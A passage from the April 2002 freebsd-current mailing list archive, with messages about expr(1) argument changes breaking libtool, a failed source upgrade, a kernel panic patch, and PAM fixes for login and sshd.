-- -L/export/ports/textproc/jade/work/jade-1.2.1/lib/.libs : -l\(.*\) expr -- -lsp : -l\(.*\) expr -- -lm : -l\(.*\) expr -- -lgrove : -l\(.*\) If we are going to leave this behaviour, we will have to teach libtool how to call expr(1) differently on -stable and -current and it looks like yet again different from the rest of the world. :-((( Yes, I did read the commit message, but I still think the behaviour of the new expr(1) is wrong. John -- John Hay -- John.Hay@icomtek.csir.co.za / jhay@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 9:19:32 2002 Delivered-To: freebsd-current@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id A08C437B417 for ; Sun, 21 Apr 2002 09:19:30 -0700 (PDT) Received: from troutmask.apl.washington.edu (localhost [127.0.0.1]) by troutmask.apl.washington.edu (8.12.3/8.12.2) with ESMTP id g3LGJSqM015197; Sun, 21 Apr 2002 09:19:28 -0700 (PDT) (envelope-from sgk@troutmask.apl.washington.edu) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.12.3/8.12.3/Submit) id g3LGJS2L015196; Sun, 21 Apr 2002 09:19:28 -0700 (PDT) Date: Sun, 21 Apr 2002 09:19:28 -0700 From: Steve Kargl To: Dennis Pedersen Cc: freebsd-current@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Message-ID: <20020421091928.A15029@troutmask.apl.washington.edu> References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <016701c1e945$a23dd120$0301a8c0@dpws>; from mlists@daydreamer.dk on Sun, Apr 21, 2002 at 05:03:02PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 05:03:02PM +0200, Dennis Pedersen wrote: > > > Hi, > > I have upgraded my box from 4,5-STABLE to 4,5-RELEASE according to > > http://www.mostgraveconcern.com/freebsd/ > > But after the upgrade my box does not read the setting from rc.conf > > (ifconfig shows that the xl0 interface has no IP) > > Anyone got a idea about what went wrong here? > > Darn, it was just tip of the iceberg! > It seems there are a problem with /usr/libexec/ld-elf.so.1. > The file is there (and there is a file called .old). Can i reinstall this > file/fix it somehow? > I would do the hole upgrade process over again but the ld-elf.so.1 error > keeps comming up. Any good ideas? > Dennis, You may have more success in getting your problems resolved by sending mail to the proper mailing list. Try freebsd-stable@FreeBSD.Org. Now, what exactly did you do? Going from 4.5-stable to 4.5-release is NOT an upgrade. You should probably read chapter 19 of the Handbook. -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 9:43:49 2002 Delivered-To: freebsd-current@freebsd.org Received: from espresso.q9media.com (espresso.q9media.com [216.254.138.122]) by hub.freebsd.org (Postfix) with ESMTP id E5A1537B405; Sun, 21 Apr 2002 09:43:45 -0700 (PDT) Received: (from mike@localhost) by espresso.q9media.com (8.11.6/8.11.6) id g3LGhLG01208; Sun, 21 Apr 2002 12:43:21 -0400 (EDT) (envelope-from mike) Date: Sun, 21 Apr 2002 12:43:21 -0400 From: Mike Barcroft To: John Hay Cc: freebsd-current@freebsd.org, wollman@freebsd.org Subject: Re: new expr(1) behaviour breaks libtool Message-ID: <20020421124321.T29857@espresso.q9media.com> References: <200204211558.g3LFwM414296@zibbi.icomtek.csir.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200204211558.g3LFwM414296@zibbi.icomtek.csir.co.za>; from jhay@icomtek.csir.co.za on Sun, Apr 21, 2002 at 05:58:22PM +0200 Organization: The FreeBSD Project Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Hay writes: > I see the new new behaviour of expr(1) requires you to add '--' if your > commandline arguments might start with a '-'. This does break things > a little because our old expr(1) does not understand a '--' in the > beginning and the new one don't work right without it. :-((( I'm almost positive this issue was discussed before. Check the follow ups to the commit. > The place where I noticed it was when libtool started to complain > when compiling jade. Libtool does things like: > > expr -L/export/ports/textproc/jade/work/jade-1.2.1/lib/.libs : -l\(.*\) > expr -lsp : -l\(.*\) > expr -lm : -l\(.*\) > expr -lgrove : -l\(.*\) > > On -current this now have to be: > > expr -- -L/export/ports/textproc/jade/work/jade-1.2.1/lib/.libs : -l\(.*\) > expr -- -lsp : -l\(.*\) > expr -- -lm : -l\(.*\) > expr -- -lgrove : -l\(.*\) > > If we are going to leave this behaviour, we will have to teach libtool > how to call expr(1) differently on -stable and -current and it looks > like yet again different from the rest of the world. :-((( This should exactly match the behavior of any certified UNIX system. > Yes, I did read the commit message, but I still think the behaviour > of the new expr(1) is wrong. Not according to the Standard, or the response from Garrett's request for clarification of the Standard. Best regards, Mike Barcroft To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 10:16:40 2002 Delivered-To: freebsd-current@freebsd.org Received: from relay1.macomnet.ru (relay1.macomnet.ru [195.128.64.10]) by hub.freebsd.org (Postfix) with ESMTP id ABB3237B41D for ; Sun, 21 Apr 2002 10:16:36 -0700 (PDT) Received: from news1.macomnet.ru (news1.macomnet.ru [195.128.64.14]) by relay1.macomnet.ru (8.11.6/8.11.6) with ESMTP id g3LHGYW10506040; Sun, 21 Apr 2002 21:16:35 +0400 (MSD) Date: Sun, 21 Apr 2002 21:16:34 +0400 (MSD) From: Maxim Konovalov To: freebsd-current@freebsd.org Cc: Adrian Penisoara Subject: panic:bremfree with today's current and linux-netscape Message-ID: <20020421210807.T76833-100000@news1.macomnet.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG As Adrian Penisoara already reported http://docs.freebsd.org/cgi/getmsg.cgi?fetch=19645+0+current/freebsd-current there is panic in -current. I believe it is related to the next commit: nectar 2002/04/18 17:45:29 PDT Modified files: sys/kern kern_descrip.c kern_exec.c sys/sys filedesc.h Log: When exec'ing a set[ug]id program, make sure that the stdio file descriptors (0, 1, 2) are allocated by opening /dev/null for any which are not already open. Reviewed by: alfred, phk MFC after: 2 days Here is my workaround but I am not sure is it correct or not. Seems falloc() takes care about locking itself. Index: src/sys/kern/kern_descrip.c =================================================================== RCS file: /home/ncvs/src/sys/kern/kern_descrip.c,v retrieving revision 1.138 diff -u -r1.138 kern_descrip.c --- src/sys/kern/kern_descrip.c 20 Apr 2002 12:02:52 -0000 1.138 +++ src/sys/kern/kern_descrip.c 21 Apr 2002 17:04:58 -0000 @@ -1528,9 +1528,7 @@ if (fdp->fd_ofiles[i] != NULL) continue; if (devnull < 0) { - FILEDESC_LOCK(fdp); error = falloc(td, &fp, &fd); - FILEDESC_UNLOCK(fdp); if (error != 0) break; NDINIT(&nd, LOOKUP, FOLLOW, UIO_SYSSPACE, "/dev/null", %%% -- Maxim Konovalov, MAcomnet, Internet Dept., system engineer phone: +7 (095) 796-9079, mailto:maxim@macomnet.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 10:26:46 2002 Delivered-To: freebsd-current@freebsd.org Received: from fe010.worldonline.dk (fe010.worldonline.dk [212.54.64.195]) by hub.freebsd.org (Postfix) with SMTP id D0D2A37B417 for ; Sun, 21 Apr 2002 10:26:35 -0700 (PDT) Received: (qmail 20398 invoked by uid 0); 21 Apr 2002 17:26:34 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO dpws) (213.237.14.128) by fe010.worldonline.dk with SMTP; 21 Apr 2002 17:26:34 -0000 Message-ID: <01fa01c1e959$a77af960$0301a8c0@dpws> From: "Dennis Pedersen" To: Cc: References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Date: Sun, 21 Apr 2002 19:26:20 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Steve Kargl" To: "Dennis Pedersen" Cc: Sent: Sunday, April 21, 2002 6:19 PM Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf > On Sun, Apr 21, 2002 at 05:03:02PM +0200, Dennis Pedersen wrote: > > > > > Hi, > > > I have upgraded my box from 4,5-STABLE to 4,5-RELEASE according to > > > http://www.mostgraveconcern.com/freebsd/ > > > But after the upgrade my box does not read the setting from rc.conf > > > (ifconfig shows that the xl0 interface has no IP) > > > Anyone got a idea about what went wrong here? > > > > Darn, it was just tip of the iceberg! > > It seems there are a problem with /usr/libexec/ld-elf.so.1. > > The file is there (and there is a file called .old). Can i reinstall this > > file/fix it somehow? > > I would do the hole upgrade process over again but the ld-elf.so.1 error > > keeps comming up. Any good ideas? >You may have more success in getting your >problems resolved by sending mail to the proper >mailing list. Try freebsd-stable@FreeBSD.Org. Okai ill move it to the stabe list then :) > Now, what exactly did you do? I updated the system according to the howto http://www.mostgraveconcern.com/freebsd/mw.html And used the following sup file: *default host=mirror03.inet.tele.dk *default base=/usr *default prefix=/usr *default release=cvs *default tag=RELENG_4_5 *default delete use-rel-suffix src-all *default tag= .ports-all And here on i must say im lost. There is no way of going back to the stable branch (cvsup dosnt work anymore ;)) Regards, Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 10:49:58 2002 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 03CFB37B404 for ; Sun, 21 Apr 2002 10:49:53 -0700 (PDT) Received: by flood.ping.uio.no (Postfix, from userid 2602) id 16DF65309; Sun, 21 Apr 2002 19:49:49 +0200 (CEST) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: "Andrey A. Chernov" Cc: current@freebsd.org Subject: Re: PAM: plain login not print "Last login" line References: <20020421135613.GA16268@nagual.pp.ru> From: Dag-Erling Smorgrav Date: 21 Apr 2002 19:49:48 +0200 In-Reply-To: <20020421135613.GA16268@nagual.pp.ru> Message-ID: Lines: 13 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.1 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --=-=-= "Andrey A. Chernov" writes: > Now I mean plain /usr/bin/login, I don't see "Last login" from it anymore, > it seems it is gone when login was PAMifized. Please restore it back > (depending on quietlog as it was before). See attached patch. DES -- Dag-Erling Smorgrav - des@ofug.org --=-=-= Content-Type: text/x-patch Content-Disposition: attachment; filename=login.diff ==== //depot/user/des/pam/usr.bin/login/login.c#7 - /usr/src/usr.bin/login/login.c ==== --- /tmp/tmp.36820.0 Sun Apr 21 19:46:53 2002 +++ /usr/src/usr.bin/login/login.c Sun Apr 21 19:45:59 2002 @@ -353,6 +353,8 @@ lc = login_getpwclass(pwd); quietlog = login_getcapbool(lc, "hushlogin", 0); + if (!quietlog) + pam_silent = 0; /* * Switching needed for NFS with root access disabled. --=-=-=-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 11: 3: 9 2002 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id D3E2737B404; Sun, 21 Apr 2002 11:03:05 -0700 (PDT) Received: by flood.ping.uio.no (Postfix, from userid 2602) id 0D0815309; Sun, 21 Apr 2002 20:03:00 +0200 (CEST) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: "Andrey A. Chernov" Cc: current@freebsd.org, green@freebsd.org Subject: Re: SSH: zombie appearse probably related to PAM References: <20020420101720.GA3526@nagual.pp.ru> <20020420160753.GB6816@nagual.pp.ru> <20020421141709.GA16522@nagual.pp.ru> From: Dag-Erling Smorgrav Date: 21 Apr 2002 20:02:59 +0200 In-Reply-To: Message-ID: Lines: 14 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.1 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --=-=-= Dag-Erling Smorgrav writes: > Actually, it means *sshd* omits waiting for its own child - PAM does > not fork - and it still does not explain why I can't reproduce the > problem. In any case, please try the attached patch. Umm, my brain was off when I wrote that. Here's a working patch (that also fixes some warnings) DES -- Dag-Erling Smorgrav - des@ofug.org --=-=-= Content-Type: text/x-patch Content-Disposition: attachment; filename=openssh.diff ==== //depot/user/des/pam/crypto/openssh/auth2-pam.c#1 - /usr/src/crypto/openssh/auth2-pam.c ==== --- /tmp/tmp.36998.0 Sun Apr 21 20:00:05 2002 +++ /usr/src/crypto/openssh/auth2-pam.c Sun Apr 21 19:58:57 2002 @@ -41,6 +41,7 @@ #include #include "auth.h" +#include "log.h" #include "xmalloc.h" struct pam_ctxt { @@ -128,8 +129,6 @@ void *data) { struct pam_ctxt *ctxt; - char *line; - size_t len; int i; ctxt = data; @@ -176,7 +175,6 @@ { struct pam_conv pam_conv = { pam_child_conv, ctxt }; pam_handle_t *pamh; - char *msg; int pam_err; pam_err = pam_start("sshd", ctxt->pam_user, &pam_conv, &pamh); @@ -315,10 +313,11 @@ pam_free_ctx(void *ctxtp) { struct pam_ctxt *ctxt = ctxtp; - int i; + int status; close(ctxt->pam_sock); kill(ctxt->pam_pid, SIGHUP); + waitpid(ctxt->pam_pid, &status, 0); xfree(ctxt->pam_user); xfree(ctxt); } --=-=-=-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 11:17:41 2002 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.icomtek.csir.co.za (zibbi.icomtek.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id EA56B37B400; Sun, 21 Apr 2002 11:17:32 -0700 (PDT) Received: (from jhay@localhost) by zibbi.icomtek.csir.co.za (8.11.6/8.11.6) id g3LIHTQ18310; Sun, 21 Apr 2002 20:17:29 +0200 (SAT) (envelope-from jhay) From: John Hay Message-Id: <200204211817.g3LIHTQ18310@zibbi.icomtek.csir.co.za> Subject: Re: new expr(1) behaviour breaks libtool In-Reply-To: <20020421124321.T29857@espresso.q9media.com> from Mike Barcroft at "Apr 21, 2002 12:43:21 pm" To: mike@FreeBSD.ORG (Mike Barcroft) Date: Sun, 21 Apr 2002 20:17:29 +0200 (SAT) Cc: freebsd-current@FreeBSD.ORG, wollman@FreeeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > I see the new new behaviour of expr(1) requires you to add '--' if your > > commandline arguments might start with a '-'. This does break things > > a little because our old expr(1) does not understand a '--' in the > > beginning and the new one don't work right without it. :-((( > > I'm almost positive this issue was discussed before. Check the follow > ups to the commit. The only one I could find was in -current, where Kris asked if w3m or expr is to blame and Garrett said w3m is to blame. > > > The place where I noticed it was when libtool started to complain > > when compiling jade. Libtool does things like: > > > > expr -L/export/ports/textproc/jade/work/jade-1.2.1/lib/.libs : -l\(.*\) > > expr -lsp : -l\(.*\) > > expr -lm : -l\(.*\) > > expr -lgrove : -l\(.*\) > > > > On -current this now have to be: > > > > expr -- -L/export/ports/textproc/jade/work/jade-1.2.1/lib/.libs : -l\(.*\) > > expr -- -lsp : -l\(.*\) > > expr -- -lm : -l\(.*\) > > expr -- -lgrove : -l\(.*\) > > > > If we are going to leave this behaviour, we will have to teach libtool > > how to call expr(1) differently on -stable and -current and it looks > > like yet again different from the rest of the world. :-((( > > This should exactly match the behavior of any certified UNIX system. Well libtool is still broken, so maybe if systems like that do exist, they don't need libtool? :-))) > > Yes, I did read the commit message, but I still think the behaviour > > of the new expr(1) is wrong. > > Not according to the Standard, or the response from Garrett's request > for clarification of the Standard. Hmmmm. I can understand the requirement to eat '--', but to throw a tantrum just because the commandline started with a '-' is a little too much. BTW, was the response posted somewhere? I searched through -standards, -commit and -current but couldn't find it. Maybe I just didn't ask the right question to the search engine or maybe it was in another list. John -- John Hay -- John.Hay@icomtek.csir.co.za / jhay@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 11:30:27 2002 Delivered-To: freebsd-current@freebsd.org Received: from ns.rim.or.jp (ns.rim.or.jp [202.247.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 2A6B437B404 for ; Sun, 21 Apr 2002 11:30:23 -0700 (PDT) Received: from rayearth.rim.or.jp (uucp@rayearth.rim.or.jp [202.247.130.242]) by ns.rim.or.jp (8.9.3/3.6W-RIMNET-98-06-09) with ESMTP id DAA69769; Mon, 22 Apr 2002 03:30:21 +0900 (JST) Received: (from uucp@localhost) by rayearth.rim.or.jp (8.8.8/3.5Wpl2-uucp1/RIMNET) with UUCP id DAA07274; Mon, 22 Apr 2002 03:30:20 +0900 (JST) Received: from turkey.aslm.rim.or.jp (turkey.aslm.rim.or.jp [192.168.0.1]) by mail.aslm.rim.or.jp (8.11.4+3.4W/3.7W-SMTP) with ESMTP id g3LIM8I58407; Mon, 22 Apr 2002 03:22:08 +0900 (JST) Date: Mon, 22 Apr 2002 03:22:08 +0900 Message-ID: <87r8l8q5db.wl@turkey.aslm.rim.or.jp> From: Masafumi NAKANE To: current@FreeBSD.org Subject: noglob in recent tcsh User-Agent: Wanderlust/2.8.1 (Something) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) X-PGP-Fingerprint: EB40 BCAB 4CE5 0764 9942 378C 9596 159E CE35 6B59 X-ICQ-UIN: 46494717 MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, As I upgraded my current and 4-stable boxes to recent ones, I noticed that eval `tset -s` no longer works on the stock tcsh. It gives error message such as ``Missing ].'' I tried to figure out what is going wrong and here's my finding: 1. If an open brace is included in the string to be executed through the command substitution mechanism (i.e. enclosed in ``'), any `{' and `[' that appear after the first occurrence of `{' (including this first one) is not escaped even when the shell variable noglob is set. So, for example, the following doesn't work: % eval `tset -s` 2. This doesn't happen if you give name of the file that contains the same string to tcsh as the command-line argument. So, for example, the following works: % tset -s > tset.out % tcsh tset.out This is all I have been able to find out, and I don't have much clue where to look into. Or, has there been any change to tcsh which causes this problem? Cheers, Max To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 12:34: 0 2002 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id E42C037B404 for ; Sun, 21 Apr 2002 12:33:57 -0700 (PDT) Received: from pobrecita.freebsd.ru (ache@localhost [127.0.0.1]) by nagual.pp.ru (8.12.2/8.12.2) with ESMTP id g3LJXiiJ020503; Sun, 21 Apr 2002 23:33:53 +0400 (MSD) (envelope-from ache@pobrecita.freebsd.ru) Received: (from ache@localhost) by pobrecita.freebsd.ru (8.12.3/8.12.2/Submit) id g3LJXgio020502; Sun, 21 Apr 2002 23:33:43 +0400 (MSD) Date: Sun, 21 Apr 2002 23:33:41 +0400 From: "Andrey A. Chernov" To: Dag-Erling Smorgrav Cc: current@FreeBSD.ORG Subject: Re: PAM: plain login not print "Last login" line Message-ID: <20020421193340.GA20463@nagual.pp.ru> References: <20020421135613.GA16268@nagual.pp.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 19:49:48 +0200, Dag-Erling Smorgrav wrote: > "Andrey A. Chernov" writes: > > Now I mean plain /usr/bin/login, I don't see "Last login" from it anymore, > > it seems it is gone when login was PAMifized. Please restore it back > > (depending on quietlog as it was before). > > See attached patch. It helps, thanx. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 12:41:26 2002 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id 0687037B416; Sun, 21 Apr 2002 12:41:22 -0700 (PDT) Received: from pobrecita.freebsd.ru (ache@localhost [127.0.0.1]) by nagual.pp.ru (8.12.2/8.12.2) with ESMTP id g3LJfIiJ020562; Sun, 21 Apr 2002 23:41:20 +0400 (MSD) (envelope-from ache@pobrecita.freebsd.ru) Received: (from ache@localhost) by pobrecita.freebsd.ru (8.12.3/8.12.2/Submit) id g3LJfI5V020561; Sun, 21 Apr 2002 23:41:18 +0400 (MSD) Date: Sun, 21 Apr 2002 23:41:16 +0400 From: "Andrey A. Chernov" To: Dag-Erling Smorgrav Cc: current@FreeBSD.ORG, green@FreeBSD.ORG Subject: Re: SSH: zombie appearse probably related to PAM Message-ID: <20020421194116.GB20463@nagual.pp.ru> References: <20020420101720.GA3526@nagual.pp.ru> <20020420160753.GB6816@nagual.pp.ru> <20020421141709.GA16522@nagual.pp.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 20:02:59 +0200, Dag-Erling Smorgrav wrote: > Dag-Erling Smorgrav writes: > > Actually, it means *sshd* omits waiting for its own child - PAM does > > not fork - and it still does not explain why I can't reproduce the > > problem. In any case, please try the attached patch. > > Umm, my brain was off when I wrote that. Here's a working patch (that > also fixes some warnings) The bug is gone after patch, thanx. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 13:15:23 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102]) by hub.freebsd.org (Postfix) with ESMTP id A2B4F37B41C for ; Sun, 21 Apr 2002 13:15:09 -0700 (PDT) Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26]) by mail-blue.research.att.com (Postfix) with ESMTP id CA9EE4CE2A; Sun, 21 Apr 2002 16:15:39 -0400 (EDT) Received: from windsor.research.att.com (windsor.research.att.com [135.207.26.46]) by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id QAA09871; Sun, 21 Apr 2002 16:15:06 -0400 (EDT) From: Bill Fenner Received: (from fenner@localhost) by windsor.research.att.com (8.8.8+Sun/8.8.5) id NAA06317; Sun, 21 Apr 2002 13:15:07 -0700 (PDT) Message-Id: <200204212015.NAA06317@windsor.research.att.com> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: des@ofug.org Subject: Re: PAM & OpenSSH: two incorrect "last login" Cc: ache@nagual.pp.ru, current@FreeBSD.ORG References: <20020420011633.GA66468@nagual.pp.ru> Date: Sun, 21 Apr 2002 13:15:06 -0700 Versions: dmail (solaris) 2.4/makemail 2.9b Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG While you're in here, does it make sense to use strftime() instead of printing just a portion of what ctime returns? This would allow i18n of the time format if desired (and if the locale is set this early -- maybe this is just a can of worms =). Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 15:21:51 2002 Delivered-To: freebsd-current@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id A869837B405; Sun, 21 Apr 2002 15:20:39 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 592F510333E; Sun, 21 Apr 2002 19:20:32 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id ED351103333; Sun, 21 Apr 2002 19:20:29 -0300 (ADT) Date: Sun, 21 Apr 2002 19:20:29 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC26C91.C81002ED@mindspring.com> Message-ID: <20020421191440.J1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 21 Apr 2002, Terry Lambert wrote: > No, there's no stats collected on this stuff, because it's a pretty > obvious and straight-forward thing: you have to have a KVA space large > enough that, once you subtract out 4K for each 4M of physical memory and > swap (max 4G total for both), you end up with memory left over for the > kernel to use, and your limits are such that the you don't run out of > PTEs before you run out of mbufs (or whatever you plan on allocating). God, I'm glad its straightforwards :) Okay, first off, you say "(max 4G total for both)" ... do you max *total* between the two, or phy can be 4g *plus* swap can be 4g for a total of 8g? For instance, right now, I have 3Gig of physical and ~3gig of swap allocated ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 15:35:54 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id D743137B417; Sun, 21 Apr 2002 15:35:03 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5A81166C8C; Sun, 21 Apr 2002 15:35:03 -0700 (PDT) Date: Sun, 21 Apr 2002 15:35:03 -0700 From: Kris Kennaway To: John Hay Cc: freebsd-current@FreeBSD.ORG, wollman@FreeBSD.ORG Subject: Re: new expr(1) behaviour breaks libtool Message-ID: <20020421153503.B21894@xor.obsecurity.org> References: <200204211558.g3LFwM414296@zibbi.icomtek.csir.co.za> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="dTy3Mrz/UPE2dbVg" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200204211558.g3LFwM414296@zibbi.icomtek.csir.co.za>; from jhay@icomtek.csir.co.za on Sun, Apr 21, 2002 at 05:58:22PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --dTy3Mrz/UPE2dbVg Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Apr 21, 2002 at 05:58:22PM +0200, John Hay wrote: > Hi, >=20 > I see the new new behaviour of expr(1) requires you to add '--' if your > commandline arguments might start with a '-'. This does break things > a little because our old expr(1) does not understand a '--' in the > beginning and the new one don't work right without it. :-((( I have a patch for this, but unfortunately it's on a HD I can't access right now. I need to test it on the cluster soon and commit it. Kris 